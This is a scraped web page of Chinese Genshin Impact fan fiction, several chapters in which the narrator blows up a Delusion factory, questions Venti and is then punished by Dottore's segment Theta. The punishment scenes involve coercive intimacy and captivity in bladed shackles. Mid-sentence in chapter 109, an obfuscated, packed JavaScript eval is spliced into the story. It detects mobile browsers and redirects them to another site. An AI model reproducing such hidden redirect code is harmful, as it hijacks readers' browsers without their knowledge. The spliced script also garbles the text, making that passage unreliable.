旅行者和派蒙正在前面探查那做生产机械,我拉了拉凯亚的衣袖,放低声音问他。 “歌德大酒店那日,与愚人众发生冲突的那位面包店大叔现在依然还在昏迷吗?” 凯亚怔愣了一下。 “是。牧师们用了很多方法都没能让那位大叔醒过来。” “那么,如果我没猜错的话,对于造成两位愚人众士兵的那位大叔的处置,愚人众与西风骑士团商议的代表从始至终都没有提到过要让骑士团交出凶手这件事,对吗?” “……你怎么知道?” “果然如此。”我已经完全明白了其中的缘由。 “让你们的牧师检查一下那人的脏器吧。”我说道。 “什么意思?” “意思就是,那个人命不久矣了。”我靠着墙壁,冰冷的金属墙面让我能更好维持平静的情绪。 我对上凯亚凝重的眼神:“你见过会找死人麻烦的人吗?愚人众不追究这件事的责任,也是这个道理。” 凯亚:“……” 他的气息变得沉重了一些,似乎一时之间有些难以接受我所说之事。 另一边,旅行者走过来。 “凯亚,我和派蒙检查了附近,除了生产线上面的邪眼,还在周围发现了很多摆放在箱子里的制作好的邪眼。要怎么处理这些邪眼?” “你们要回收这些东西吗?”我问道。 “原本打算是这样。”凯亚扶额,好似才从刚才的惊愕里稍微晃过来一点,“不过现在来看,这里的规模比我想象中的要大太多了,恐怕需要改变策略。” “那么,直接摧毁如何?”旅行者提议。 凯亚沉吟了一下:“听起来倒是不错,只不过,要怎么摧毁这么庞大的机械以及那些邪眼也是问题。” “问题?” 一个堪称疯狂的想法出现在我的脑海里。 我的胸腔里忍不住震动共鸣,发出带着笑意的声音。 “只是摧毁的话,这不是很简单吗?只需要炸掉这里就可以了。很凑巧的是,我正好精通此道。” 107.第 107 章 邪眼的本质是元素传导装置,即通过邪眼这一外置装置,引导元素力在人的体力完成流转。单就理论而言,其实与神之眼的运行原理有着一定的相似之处。 多托雷确有着得天独厚的本领和天赋,在提瓦特的学者对神之眼的结构和原理一知半解的时候,便解决了“普通人无法像神之眼拥有者那样使用元素力”的问题。 尽管,代价是生命的流逝。 如同第一次邪眼实验的尼基塔,在使用邪眼的力量后很快便被夺取生命。而这一缺陷,一直延续到如今,虽然邪眼经过无数次版本的更迭,但所能改进的,也只有元素力的传导效率问题和减轻身体损耗的可能性。 想要取得与自己并不相配的力量,则必要做出付出沉重代价的准备。 那位如今仍然昏迷于西风教团的面包店大叔,不正以身践行了这一准则吗? 我不知道那位大叔在得到邪眼之前是否有被提前告知使用后的副作用。 但想必是没有的。为了保证实验的结果纯粹和准确,很多时候,愚人众会采取一些很不人道的手段。 在这个过程中,即使是愚人众自身的力量遭到损失,也并不会引起丝毫的波澜。 那么,有关“冒着损伤生命的代价获取力量之事是否有其价值”一事,我无法发表任何评价。毕竟,没有实践和亲身经历,便无任意评价的资格。 说回“摧毁邪眼工厂”的计划吧。 为了我现在个人的目的,所必须要做出的抉择——如今,我选择暂时归于旅行者的一方,帮助蒙德挫败愚人众的邪眼计划,而关键,即在于,“如何摧毁邪眼工厂”。 我也说了,答案很简单。 引爆这座邪眼工厂就是了。而“燃料”,便是此处成千上万枚的邪眼。 邪眼是元素力的引导装置,因为是人力制造而成,则必然存在一定的“承载极限”。元素力超出极限,会引发邪眼内部的结构不稳,进而引发爆炸。 听起来很简单,但要让元素力超越邪眼的承载极限这件事,便很难达到。 因为,邪眼的使用会对人的身体造成一定的负荷,而元素力的量越多,使用的强度越大,对身体所造成的负荷便也越大,所导致的最直接的效果便是身体的负荷加剧,器官衰败,危及生命。 而想要将足够多的邪眼引爆,引发链式反应进而引爆所有邪眼库存,达到彻底摧毁整个工厂的目标,其中的负荷叠加在一起,足以在一瞬间抽干数百个健康成年人的生命力。 不过。 好在,我“命”多的要死。 在一瞬间以最大的功率同时运行手中的十数枚邪眼的时候,即使是我的身体,也感到虚弱。如同大脑被巨石砸中,耳边尽是嗡鸣的杂音。 “塔德纳,你没事吧?” 我听见某人的询问。那似乎是派蒙的声音。 “没事。只是一点副作用而已,这是正常的情况。”我摇了摇头。 尽管此刻的身体万分疲软,连带着说话也要提起两倍的注意力才能保证自己的语气不露怯。 “不要逞强。” 这次是旅行者的声音。 我不再应答,只是加快了邪眼的运转速率。 在邪眼完全达到极限额定功率的时候,元素的亮光已经刺眼到让人无法直视,周围的元素浓度,即使是□□感知,也高到让人不适的地步了。 我将手里的这堆邪眼扔到机械的履带上,如同火星被扔进柴火里,炽热的火焰顷刻冲天而起,与此同时,还能够看到不时超载发出的爆炸声。 轰隆——那十几米高的巨大机械,被爆炸冲击地一颤,隐隐传来要崩塌的架势。 “快走!”我催促,“这里过不了多久就会发生连环性的爆炸,再不走就来不及了。” 像是在印证我的话的正确性一样,我刚说完,里面的就响起了四五声连在一起的爆炸,巨物的坍塌震动着地面,让人连站都要站不稳。 “啊啊啊——” “派蒙拉住我!” 旅行者牵住了派蒙,扶了墙壁一把才勉强站稳。 凯亚说了一句“跟紧我”,然后迅速带着我们顺着甬道原路返回。 甬道的灯光早在刚才的连环爆炸里完全熄灭,大家只能一手扶着右边的金属墙壁在甬道里快速通行。 一时之间,耳边只剩下接连起伏的脚步声,以及背后,死咬追赶的爆炸声。 我依旧处于队列的最后断尾,一心赶路之时,突然的刺痛感穿过我的大脑,让我忍不住痛呼一声,手脚一顿,差点摔倒在地上。 “塔德纳?!” “塔德纳,你怎么了?” 焦急的声音从前面传来,我听见脚步声骤停,大家围拢在我的面前。但再想要看清,却什么都看不到了。 这甬道实在是过于昏暗,加上,那疼痛如同是有一把尖刀刺进我的大脑进行搅拌一样,疼得我眼前一片黑又一片白,再慢慢的,似乎连大家的声音也开始离我渐行渐远。 “塔德纳……你,……怎……” “让我……” 身体突然犹如失重一般抬升,我吓了一跳,后知后觉才发觉自己应该是被人抱起来了。 那大概是凯亚。毕竟,在场也只有凯亚的身高比我高到能够一把将我抱起的程度。 爆炸声又再开始接连响起了。 凯亚抱着我开始奔跑起来,我能感受到接触的这具身体紧绷的肌肉,以及,那随着加深加粗的呼吸声,被我感知到的呼出的热气。 但我此刻仍然还处在大脑恍惚疼痛的状态,连这场紧急的撤退持续了多久都不清楚,等到意识再一次恢复的时候,周围已不再是昏暗的,令人不适的甬道。 我们已经逃出了工厂,如今的位置,是离工厂有一段距离的半山,从这个角度,正好能掩饰身形,同时也能够观察工厂的状况。 我被凯亚半靠着石头放在地上,耳边是凯亚的呼唤。 “塔德纳?塔德纳?醒醒。塔德纳,能听到我说话吗?” “怎么办?塔德纳怎么突然就昏迷了啊?呜呜,要是塔德纳出了事,那要怎么办啊?” 我挣扎着从混沌的意识里清醒。 “唔……” “塔德纳好像醒了。” 我睁开眼,甫一睁眼便直面了派蒙的脸,几乎要占据我的整个视野。那张脸紧张兮兮地看着我,甚至还带着眼泪。 “太好了!塔德纳醒了!” 大脑因这声音再次嗡鸣了一下。 凯亚蹲下来,略微打量了我一番:“有哪里感觉不舒服吗,塔德纳?”他问道。 “不,只是小毛病而已。”我晃了一晃,感觉到力气差不多已经恢复,便撑着地面想要站起来。 一只手递到我的面前。 我顿了一下,抬眼看到凯亚的脸。 “不要逞强。有我们在身边,有需要帮助的话,我们都可以出手。” “……” 我抿了抿唇,最终还是伸出手,搭着凯亚的手借力站起来。 “真的不要紧吗?塔德纳,你看起来脸色好差劲。”派蒙担忧地看着我。 “我……我没事。让大家担心了。” “那就好。”派蒙拍了拍胸口,“你都不知道那刚才有多吓人,嗵地一下就摔倒了,多亏了凯亚带你出来。” 我又突然想起刚才撤离之时被凯亚抱起的场景。 我看着凯亚,心情莫名复杂。 “感谢您的帮助,凯亚先生。” “先不谈我。”凯亚眯了眯眼,“我们还是先来说说关于你的事情吧,塔德纳。你不是说过,邪眼对你没有影响的吗?” 他兴师问罪般:“那你要如何解释,你刚才的状况呢?” “对啊对啊。是塔德纳一开始说了不会对身体造成影响,我们才同意让你采用这种方法的。难不成,是塔德纳故意隐瞒了真相吗?” 派蒙和旅行者也一脸严肃地看过来。 一时间,三道视线聚焦在我的身上。我感到莫大的压迫。 “……我要说,真的对我的身体没有影响,刚才的事情只是个意外,你们会相信吗?” “你——说——呢?!” …… 我花费了相当长的一段时间,试图向面前的三人解释我身体里有一种特殊的能量,能够让我免受邪眼这类东西的影响。虽然因为一些原因不能如实告知,一切信息只能加密处理,以至于对话显得牛头不对马嘴,但最终,还是说服了派蒙和旅行者相信我是真的有把握才敢那样做的。 凯亚没有表态。他坚持要让我陪他一起回一趟西风教堂做一个身体检查。 我试图向他解释回去之后我能够找到更合适的检查场所和方式。 毕竟没有哪里会比多托雷的实验室更加完备。 但被凯亚无情驳回了。 “既然是因为我 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“真的没有问题吗?要不要再仔细检查一下?” 于是芭芭拉又仔细检查了一遍。 我乖巧地坐在椅子上,看着面前从左往右环成一个圈将我完全围住的几人,彻底放弃了思考。 早知道就不答应凯亚来西风教堂了,被这么多人同时长时间盯住的感觉也太糟糕了。 “还是没有问题。”芭芭拉放下手,“我没有在这位先生身上发现任何可能导致昏迷的情况。这位先生的身体情况确实相当健康,不管检查多少遍也依然是这个结果。” 凯亚突然开口:“那和安东尼父亲的情况相比呢?” “完全不同。说起安东尼的父亲,今早教堂的人发现他的情况发生了变化,在今早出现过短暂的清醒,并且情绪极不稳定。我们对那位病人进行了重新检查,发现了一些不好的事情。” 派蒙:“不好的事情?” 芭芭拉叹了口气,神色忧愁:“从病人的身体情况来看,病人的身体正在急速恶化,并出现了类似于‘衰老’的症状。头发变白,甚至体内的器官也开始出现了衰坏的趋势。” “怎么会这样?!” 凯亚的眼神在我的身上短暂停留了一瞬。 “安东尼的父亲现在在哪儿?我想去看看他现在的情况。” 派蒙和旅行者:“我们也要一起。” 总算不用被围观了。 我在心中松了口气,跟在众人后面一起前往那位面包店店长的病房。 正如芭芭拉所描述的一样,甚至情况要更加糟糕,安东尼的父亲躺在床上,已经是一副垂垂老矣的面容,单看花白的头发和脸上的皱纹,很难相信此人实际上是一位年过中年的大叔。 至于身体内部的器官,虽然肉眼看不出,但那股浓郁的死气,是无法忽视的。 众人陷入了一片沉默。 对于常人而言,亲眼看着一个人在这么短的时间衰老,冲击感不是一般的大。 旅行者和派蒙在那之后不久离开了,离开前旅行者说了会帮忙找找让病人恢复的方法,但看她们匆匆的性色,并不像是漫无目的,反而像是心中有了明确要找的人一样。 我在离开之前被凯亚叫停了一下。 “今天的事情还没有感谢你。你帮了我大忙,塔德纳,未来有什么需要我的地方可以随时直说。对了,你的身体,要是之后出现了不对劲的地方,也请告诉我。” “……我还以为凯亚先生叫住我是为了询问我有没有救治安东尼父亲的方法。” 凯亚愣了一下。 他无奈地笑出来:“原来我在塔德纳的心中,就是这种无利不往的形象吗?安东尼父亲的情况是邪眼造成的,西风教堂对此束手无策。但芭芭拉已经将这件事上报给琴团长了,我相信总会有解决的办法的。” “是我小人之心了。”我笑了笑,“我会帮忙留意一下是否有解决这个问题的方法的,但我也不能保证。就当是,对您之前在工厂把我运出来的感谢吧。” “……”凯亚摇了摇头,“我们是朋友,朋友之间是没必要分的这么细的。无论什么时候你遇到危险,我都会帮助你的,这种事情,无需道谢。” “……” 我一时感到哑然。 108.第 108 章 那大概是三百多年前的事情了。我第一次得以在远处遥遥地望一眼传说中的冰之女皇,就在一众愚人众的士兵里。尽管在来之前对这件事并无如何期待,但真正在现场,被身边愚人众的情绪感染,也忍不住仰头,从人群中悄悄垫高脚跟。 那位冰之女皇,尘世七执政之一的冰神,从象征着至高中心的冬宫缓步走出,即使隔着很远的距离,远到好不容易踮脚试图去看一眼,也只能窥得一点模糊的侧影。 周围的愚人众士兵开始爆发出大声的欢呼,他们振臂,无比兴奋地庆祝着冰之女皇的莅临。 我被身边尽是高我半头的大兵们挤得差点摔倒,从人群中挣扎着把自己拔出去,也没了再凑热闹的心思。 我退到人群的最后,看着自己鞋面上不知道什么时候被踩上的,混合着泥水的鞋印,感到难以言喻的疲惫。 一只手伸到我的面前,递给我一份巾帕。 我抬头,正好看见多托雷的脸。 “难得见你主动凑热闹。对这种庆祝神明到临的仪式感兴趣?” “……您不是,应该在礼堂接待女皇陛下吗?” “乌合之众遍集的场合,没有参加的必要。”多托雷冷淡地评价道。他或许又觉得这样直白的话不很好理解,于是又继续解释了几句。 “【丑角】说过这次的仪式可自行决定是否前往。尊贵的女皇陛下大概只是想笼络一下愚人众的人心。” 他说着,语气又乍然转变得意义不明。 “呵,神明……”被面具完全覆盖的目光远远投向热度最盛的那边。 即使无法亲身窥见,也能够想象那面具之下的双眼,是何等的一番讥讽和审量。 我默默地从多托雷手中接过巾帕,把大衣的衣摆拢紧抱在怀里,确认不会有衣服沾到地面后才弯下腰,简陋地处理了一下鞋面上的脏污。 等结束,我直起腰,将脏了的巾帕两次对折,成一个小方块后塞进口袋里准备等回去后再清洁干净。 多托雷给的东西,虽然只是随手,但如果随手丢弃可能会被秋后算账。更别说多托雷这家伙最喜欢表面浑然一幅不在意的模样,背地里其实不知道记了多少小本本。 当然,当年的我大概也不会想到在数百年后,愚人众的新任执行官,那位怨怼于神明视线不公而来到至冬的银行家老爷大人,在背地记仇方面竟然能赶得上多托雷的程度。 我询问多托雷:“您要在这里等到仪式结束再回去吗?” “怎么会?”多托雷收回视线,“我对尊贵的女皇陛下本人自然如同所有的执行官一样秉持着完全尊敬和敬重的态度。只是,料想如我一般的‘渎神者’出现在这样的场合,未免显得有些不协和了。我想,尊贵的女皇陛下也并不会降罪与我小小的怠慢。” 尽管多托雷的话语全然包含着对女皇的尊崇和敬意,也没有任何的不敬之处,即使是对女皇最为推崇的信徒听完他的话,恐怕也挑不出来什么错,但我从多托雷的话语中感受不到任何所谓的“尊重”的意思。 至于“渎神者”。以多托雷探索神之眼的功效,研发出邪眼,染指魔神旧躯的行为来看,仅用“渎神者”一词形容都过分轻微了。 当然,这话自然不能在多托雷面前说起,甚至类似的意思都不能显露出来。 我对多托雷的禁忌一清二楚,自然也明白什么时候该闭上嘴。 所以我保持了沉默,准备等待多托雷单方面的言说,或者,单方面的宣告结束。 但这次不一样。多托雷转而看向我。 “你还没回答刚才的问题呢,塔德纳。拥挤在士兵之中,甚至连对形态的管理也不再上心,是因为对这场神明的宣示感兴趣吗?” 我喉咙一紧。 “只是,没见过神而已……”我努力让自己保持冷静回答。 在多托雷面前提及神明,以及同多托雷谈及神明,都是一件充满着风险的事情。 “所以说,是出于从众的好奇吗?”多托雷笑了一声,“这也合理,毕竟在须弥可没有这种场景。须弥的草之神,被教令院对外宣告‘无心管理须弥’,至于背后的真相是什么,又有几个人在意呢?” 我感到汗流浃背。 “……不是说,是小吉祥草王……新生的草神年幼,无法支撑起管理须弥的任务吗?” “一面的说辞罢了。”多托雷摆手,“不过,若真如我猜测那般,那还真是难得一见的情景,一国的神明,被自己的子民抛弃,呵……” 我:“……” 这样大不敬的推测,真的要说给我听吗? 至于对于神明的态度。 对了,至少我没有对多托雷撒谎,我确实只是因为“好奇”混入了人群,因为“好奇”而踮起脚尖,但对于神明本身,我甚至不知道信仰神明的意义是什么。 寻求庇护吗? 那么,如果神明的庇护真的存在,为何将我遗弃呢? 还是说,神明的庇护会落在更值得的人身上,比如神之眼的拥有者,从万千之中夺得神明瞥视的天之骄子身上。 我不清楚,但当下的我,倒不如说是靠着“多托雷的庇护”才存活至今的。 尽管多托雷对我的态度好坏参半,恶劣有加,但不过,我也并无对他的信仰就是了。 多托雷在那之后说了一句“无趣的场合”,便带着我离开了。 自那之后很久,我再没有过机会得见那日匆匆瞥见的神明的侧影,即使是百年之后,多托雷不再那样排斥神明的场合,会无视规定带我参加神明会出席的活动。 我的位置从遥远围着的愚人众的士兵群换到了金碧辉煌的大堂,跟随在众位执行官身后,得以近距离地见到冰之女皇,但对于神明,我仍然不知道神明到底是什么,人们又因为什么信仰神明。 而对于多托雷,他会出现在这里,只是因为他在至冬而已。 他不信奉神明,对神明嗤之以鼻,但对于女皇的计划有些兴趣,也愿意看在至冬为他提供的实验条件和容身之所的份上对冰之女皇展现出最大程度的尊敬。 至少是在表面上的。 …… “那么,现在,你对‘神’的看法,是什么呢?” 吟游诗人模样的风之神轻轻拨动琴弦,发出短暂悦耳的乐声。 我沉吟了片刻。 “我在蒙德见证了风魔龙的灾难降临,也从一些途径得知您与旅行者,还有骑士团的人一起解决蒙德灾难的事情。但我依然无法对神明的存在生出真正的敬畏之心。” “哦?那么,你的看法是?” “自由之神因为自由从未管理过蒙德的运转,而在风魔龙的灾难降临之时,却也只是找到旅行者,借助旅行者的力量恢复了蒙德的平静。但剩下的,接踵而至的愚人众的危机,您甚至并没有出面试图解决。您是想让蒙德自己解决这样的问题吗?您并不认为这在您‘神职所行范围内的责任义务’之内吗?” “神明也是会力有不逮的。” “那么,‘神明’也就只是‘凡人’而已。对于普通人,我无法针对其‘普通人’的身份做出任何评价。对人的评价和看法,更多的是集中在平时的相处上,比如性格,比如能力。” 温迪沉默了些许。 “还真是狡猾的回答啊。” 他再次轻轻弹指,琴弦震颤。 “那么,这次,换个问题吧。”他的腔调稍微轻快一点,“你对‘我’,有什么看法呢?” 我坐在温迪对面的石墩子上,听到他的询问,我将目光投放在闭眼,姿态轻松拨弄琴弦的神明身上。 “您问的,是吟游诗人的您,还是作为‘风之神’的您呢?” “如果二者皆有呢?” “那恕我无法给出任何回答。” “哈哈。”温迪笑出来,连帽檐的塞西莉亚花也跟着轻颤,“那如果,是作为‘吟游诗人’的我呢?” 这一次,多了点期待。 我稍微松了口气。比起之前那个富有 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与温迪的短暂会面发生在我离开西风教堂后,连多余的停滞休息的时间都不敢有,我马不停蹄地前往风起地,在最大的树冠下找到了那位神明。 如果诉求于神明真的有用,那么,安东尼就不会被愚人众抓走,消逝在实验室一眼望不到头的逝者名单里,安东尼的父亲也不至于走投无路试图通过追寻邪眼的力量为自己的儿子寻求道理,以至于被邪眼吞噬生命,只留下年幼的安妮成为孤儿。 但我,其实也算是怀着“可能得不到回应”的心理准备前往了风起地,并说出了自己的诉求—— 恢复记忆。 我要恢复记忆,也必须要恢复记忆。依靠虚假的记忆,这样什么都不知道地停留在多托雷身边固然安稳平和,并非无法接受的状态。 但相比于起的,我和多托雷的过往可能极为不堪的可能正在无时不刻不加重着它的负荷,等着要把我彻底压垮,恢复记忆显得急迫起来。 至于我的诉求,它确实得到了回应,从神明亲身处,我得到了推开记忆之门的钥匙,只要激活,便能够窥得自己过去的踪迹。 或许,获得神明的注视,才是让自己的诉求得以实现的关键。 我这样想着,忍不住笑出声。夜间的山风从我的领口灌进去,把我的风衣外套吹得猎猎作响。我低头看着山崖远处,蒙德城的灯光,那样明亮,要在虹膜上灼烧出洞来。 与明亮的蒙德城的灯光相反的是,今夜的夜空一片漆黑,浓厚的乌云严实地盖住月亮,连一丝光也不让透出来。 身后传来脚步声。 有人靠近了我,不算亮的一盏油灯晃悠着光被放在身边远一点的草地上,一道高大的人影贴着我坐下来。 我叹了口气,知道这一刻总算来到。 “Theta大人,这么晚不休息,跑来这种山头干什么?” Theta没有回答。他显然听出我只是在问一个自己明显知道答案的问题,而且,他对另一件事现在更加在意。 “称呼,塔德纳。即使是我对你的宽容,也不会允许你一再叫错称呼的。” “事实上只有您和主人会一再要求我称呼的问题而已。我并不觉得这是一个很有端正态度必要的问题。” “呵。”Theta轻笑一声,“真是失礼妄为的态度,塔德纳。我可是费了好大的劲才说服‘本体’让我来找你。不如猜一猜,如果现在在这里的是‘本体’,你的结果会变成什么样子呢?” Theta犹如叹了声气。 感叹道:“‘本体’这一次可是很生气呢,我也依旧很久没有见过‘本体’对你如此气愤的时候了。你总是能轻而易举地挑起‘我们’的情绪,塔德纳。无论是好的,还是坏的。” “现在,把东西拿出来吧,塔德纳。我希望你最好还没有使用它,不然,就算是我,也没有办法保证这一次你能够安然无恙地度过这件事了。” 109.第 109 章 难得的强硬态度。Theta以前从不至于会对我这样。 我下意识地摸了摸口袋里的东西,那是温迪交给我的…… Theta看着我的动作,一下子明了。 “原来是放在这里面吗?既然你没有主动拿出来的打算的话,那我也只好帮你一下了。” Theta突然抓住我的手臂,将我的手不容置疑地打开,另一只手伸手进我的口袋里摸索着。 我被抓着一只手臂半禁锢在Theta的怀里,这个别扭的动作让我无法做出任何反抗。 当然,以我的身份,也没有任何权利做出类似反抗的意图。但是…… 我看着面前几乎要将我压进怀里锢住的Theta,突然完全散去了力气,将自己抵在Theta的胸口。 嗵,嗵——来自胸口被刻意模拟出的心跳声平稳地跳动着,未曾因为我的动作产生丝毫的变化。 我软下身子,贴近Theta的脖颈。 “请不要拿走。主人,算我求您。” Theta轻微停顿。 “既然害怕会被拿走,为什么不在我来之前就直接用掉?你有充足的时间,不是吗?” “因为,害怕主人会生气。” 我察觉到Theta暂时似乎歇下了要强硬着从我这里拿走东西的意图,也没有阻止我动作的打算,于是更加大胆地抬头往上,用嘴唇顺着Theta的喉咙亲吻。 Theta低头看着我,没有说话,面具下唯一露出可供观察的嘴唇呈一条直线。 “您说过的,‘无论我的选择是什么,您都会尊重我的’。您也更喜欢‘以前’的我,对吗?” “是吗?我还以为,你会更在意‘本体’的想法。” Theta伸手扣着我的脊背,手指顺着微微凸起的骨节向下缓慢地滑动。酥麻感自那触摸的地方开始蔓延。 我硬着头皮努力忽略那感觉。 “我当然也是很在意您的。您对我很好,在您身边我感到很轻松。” “呵。”Theta意味不明地笑了一声,连带着那之前拉平的嘴角也愉悦地上翘着,“小心点,要是被‘本体’听到了你的话……” 他的话语隐没在尾端,从我身侧的口袋里返回出来的那只手落在我的侧脸,意有所指地轻着挑了一下耳坠。 我猛然生出一种被人盯着的毛骨悚然感,这种感觉,如同被猎手的枪口对准的猎物,头顶的命运只剩下等待的死亡。 “主人……”我放轻自己的语调,带上一点小小的,如同调情一般的不满,以及被隐藏在下的希冀,“您会帮我的,对吗?” Theta笑起来。 “当然。”他说,“既然你已经做好了准备。不过在那之前,我有一个问题。你为什么一定要恢复记忆呢?你如此坚定地确信,恢复记忆是你心中所想要的吗?” “是的,我确信。” Theta玩味地勾起嘴角:“即使,你很清楚你的举动会招惹‘本体’的不满,甚至愤怒。他说不定会抛弃你,再也不要你,毕竟‘本体’最讨厌的便是背叛和失控,‘一条不听话的狗’,‘本体’大概会这么想。” 我抿了抿唇。 “我明白主人的命令,也知晓自己的‘不忠’到底是多么的可恶。但是,我不得不拿回记忆。您大概不知道,失去了那部分记忆的我,就像是被突兀抽空了中心支撑的砖块,墙面因此变得不完整而摇摇欲坠。而失去记忆的我,也偶尔会出现记忆混乱的情况。” Theta打量着我。我能感受到那视线,从我的眼睛,再到我的喉咙,以及胸口的呼吸和起伏。 他在判断,判断我所说的是否是真话。 我凄凄地道:“虚妄的记忆并不牢固,清楚地知道过去须弥的那段记忆是假的,被刻意捏造的我甚至对‘过去的自己’产生了一种割裂感。我时而觉得自己是与主人在须弥便已经相识相近的共友,又时而看到自己恐惧地跪在主人的身前,匕首刺进我的胸前。” “我感觉我快要疯了,如果这样的情况再继续持续下去。” 眼泪在眼眶里积蓄,从眼角滑落。 “为何不找‘本体’?‘本体’不会对你的异常视若无睹。” “就算记忆混乱变成傻子也没有关系,反而还更乖了。您觉得,主人这样想的概率有多大?” 我露出沮丧的表情,眼中的泪水越蓄越多,甚至滴落到Theta的衣服上,发出啪嗒一声。 Theta凝视着我,后脊摩挲的手指停顿。 过了一会儿,他叹了口气,如同认输的旗号,后背的手覆到我的后颈,卡着耳朵后让我抬头,怜惜地舔过我眼角,将泪水卷走。 我承受着,甚至在Theta舔上来的时候强迫着自己睁着眼睛。但眼球受到牵连刺激的颤动依旧明晰。 这样的举动很显然取悦了Theta。 他温柔地舔舐着,又扶着我的腰让我翻身跨到他身上。 就在我几乎以为我的理由已经完全打动了Theta的时候,Theta就借着这样的动作,在我快要沉迷于Theta温柔的动作里的时候,他伸手从我的口袋里摸出了那颗圆球。 青色的圆球,在黑夜中散发着微光,布满风的气息。 毫无疑问那是神明的赠礼,因为除了神明,再无人能够拥有如此的伟力,将一丝权柄的气息融入。 我慌张地从迷蒙中抽出神,想要伸手抢夺,却被Theta警告性地咬了一下脸颊。 “呜……” “不要做出额外的动作,塔德纳。”Theta有些无奈,“我并不想伤害你。尽管‘本体’允许了我对你做出的任何事。他说过,要加强一下你的教训。我想你知道这里面的意思。” “主人……”我祈求地看着Theta,讨好般地伸出舌尖舔Theta的嘴唇。 Theta没有拒绝。 他扯着我后脑勺的头发让我稍微分离,然后咬上我的唇,舌头钻进来,在我的口腔中吸吮。 他以往总会照顾到我的感受,让我不至于在亲吻中连呼吸的空暇都无法拥有,只能被憋得流出眼泪,口水控制不住地从嘴角淌落。 但这一次,他不再顾及我,只是在里面掠夺着,连一丝一毫的喘息机会也不给我。 我被亲得头晕眼花,连那点“要把东西拿回来”的想法都在晕眩中成了一道迷烟散尽。 不知道过了多久,Theta松开我。 我无力地靠在Theta的肩上,听见Theta的声音在耳边响起。 “我不会将这个东西交给‘本体’,也不会毁掉它。塔德纳,等到合适的时候,我会再将这个东西还给你。至于记忆的事情,暂且将它忘记吧。记忆混乱的问题我会帮你解决的。现在,还不是时候。” 我垂下眼睛,无精打采地点了点头。 这很不合规矩,甚至显得怠惰,失礼到了极点。但Theta并不在意。 他的语气甚至更加温柔,只是内容却完全相反。 “现在,我们该谈谈你的‘处罚’了,塔德纳。” 我抖了抖。 Theta拍了拍我的后背。 “不要这么紧张,塔德纳。你的处罚,虽然无法免去,但一部分全可以在我这里完成。我会尽量温柔地对待你,好让你在‘本体’那里能稍微更好地度过他的处罚。‘本体’可并不如何温柔,你比我更清楚这点。” “当然,在那之前,你或许还需要向我解释在风之神处,被神力屏蔽了监控装置时,你的所有举动。不要试图蒙骗我,那对你并无任何益处。你应该不想在‘本体’面前陈述这件事。” 我蜷缩着,手指紧张地抓着Theta的衣领,连声音也颤抖起来。 “是……主人……” Theta安抚性地拍拍我的手背。 “放松一点,塔德纳。所有的一切都会等到我们回去之后进行。现在,如果你希望的话,再多看看这里的风景吧,呼吸一下外面的空气吧。” “毕竟,你将会有很长的一段时间,再也无法出来。” …… Theta拒绝了我的请求,即使我搬出他之前对我的承诺。 不知道出于什么原因,从什么时候起,Theta开始和多托雷走近。 他愿意听从多托雷的命令——至少表面上是这样——他甚至因为多托雷的命令而忽视了我的“求助”。 Theta切片在有意地向多托雷证明他的“可用性”,原因不详。 我并非对此毫无察觉,事实上,早在Theta一声不吭地来到蒙德,成为多托雷在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363761|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙德计划的助手时,我就开始产生了疑心。 Theta对我说的话,并不完全可信。 他似乎在筹谋着什么——这来自我经由这几百年对他的了解和揣测。 没有证据,仅是直觉。 记忆的混乱——是假的,完全经由我的杜撰产生,我知道Theta会相信我随口一说的可能性几乎为零,但我只是为了迷惑他的视线。 一切的示弱,一切的谎言,都只是为了在“合理的时刻”,用“合理的方式”将“那个东西”送出去。 那颗圆球,由神明交付的,应祈愿者愿望赐予的特殊能量,被祈愿者惯以“可以循溯过往之记忆”的事物。 但我必须要在此说明,那其实是一件假货。彻头彻尾的家伙,除了压缩的风元素力和一点故弄玄虚的神秘气息,没有任何作用。 本质上,只是一个神明才能窥明的魔术把戏。 Theta必须要应多托雷的命令制止我的行为,但,他也有点私心,愿意稍微包庇一下我。拿走那样东西确实在一定程度上能够让我在多托雷面前好过一点,但,也是一种威胁。 ——既然渴求之物如今在我手中,想要的话,便来求我吧。 像狗一样,抛弃所有的尊严,身体趴伏在地上,用湿润的鼻尖去蹭主人的掌心,去乞求主人的怜悯。 即使被做出了一定改动,Theta切片的本源依旧是多托雷,尽管他自己如今对这一事实似乎已经非常不满。 再如何温柔,也只是表象,要时刻注意自己的行为和言行,跪在脚边瑟瑟发抖于突然降临的阴郁和怒火,而在被高兴时施舍温柔的对待时,也要做出合适的反应。 偶尔的放纵当然也是可以的,只要做好了承担后果的准备。即使,这样的“标准”并不统一,甚至变化无常。 Theta说服多托雷先一步将我交给他的事情是我的赌博之一。 当然也存在多托雷亲自处理这件事,不假人手的可能,但既然Theta如今和多托雷达成了合作,他们之间的关系,我似乎应该也更新一下看法和视界了。 这笔赌博赢面并不算大,但好在,即使输了,是由多托雷亲自来找我,我也有一定把握蒙骗过多托雷。 骗不过也没关系,大不了是继续自己以前的日子而已。 但我赌赢了。 在面见到那位自由的神明,得到一点神明的视线后,连我的运气似乎也稍微好了一点。 于是之后,我如数将准备好的谎言吐出。并非是要Theta相信,而只是,要让Theta从我这里拿走“拜托温迪提前准备好的赝品”。 Theta对“防止我恢复记忆”这件事并不看重,他只是答应了多托雷要这样做而已,所以,他不会多想“圆球是赝品”的可能。 至此,完美的计划。 但是,我没想到,今晚热衷于在言语中填饰谎言的人,不止我一个。 直到我被带回驻地,一处同样执行官等阶的休息处,被押着关进黑暗的地下室,我才后知后觉地觉察。 Theta连所谓的“会温柔地对待我”这句话都是彻底的谎话! 他蒙住了我的眼睛,一如很久之前对我做的那样,让我跪坐在狭小的笼子里,背对着他,手腕吊高往后吊在天花板上,而在手腕的镣铐上,他做了一些手脚,内里贴近皮肤的一侧是有些锋利的刃面,嵌进我的手腕里,无比疼痛,且无法愈合。 那镣铐吊的极高,我要在这小的要命的破笼子里支撑着身体跪起,知道头顶触到笼顶才能让伤口不至于进一步加深。 而Theta给出的理由也很简单——为了防止我再一次逃跑。 